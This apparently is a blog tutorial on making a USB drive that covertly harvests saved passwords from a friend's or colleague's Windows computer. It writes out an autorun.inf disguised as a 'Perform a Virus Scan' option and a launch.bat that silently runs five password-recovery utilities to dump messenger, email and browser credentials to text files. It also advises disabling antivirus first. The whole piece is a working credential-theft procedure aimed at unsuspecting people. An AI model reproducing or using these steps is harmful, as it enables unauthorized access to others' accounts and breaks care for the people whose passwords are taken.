Today, I will show you how to hack passwords using an USB pen drive. As we all know, Windows stores most of the passwords on the the device on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, and Windows messenger. Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts, and auto-complete passwords for many browsers like IE and Firefox. There are many tools available for recovering these passwords from their stored places. Using these tools and an USB pen drive, you can create your own rootkit to hack passwords from your friend or colleague’s computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of web-based email accounts (HotMail, Yahoo, and Gmail), if you use the associated programs of these accounts.
Mail PassView can also recover the passwords of web-based email accounts (HotMail, Yahoo, and Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored in Internet Explorer browsers. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Sign-ons filename.
Here is a step by step procedure for creating a password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all 5 tools, extract them, and copy only the executables (.exe files) onto your USB pen drive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe andpasswordfox.exe onto your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
open=launch.bat
ACTION= Perform a Virus Scan
Save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pen drive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
Save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file to your USB drive.
Now your rootkit is ready and you are all set to hack passwords. You can use this pen drive on your friend’s PC or on your colleague’s computer.
Follow these steps:
1. Insert the pen drive and the autorun window will pop-up (because we have created an autorun pen drive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will be silently executed in the background. The passwords get stored in the .TXT files.
4. Remove the pen drive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP, and Vista
NOTE: This procedure will only recover the stored passwords on the computer.
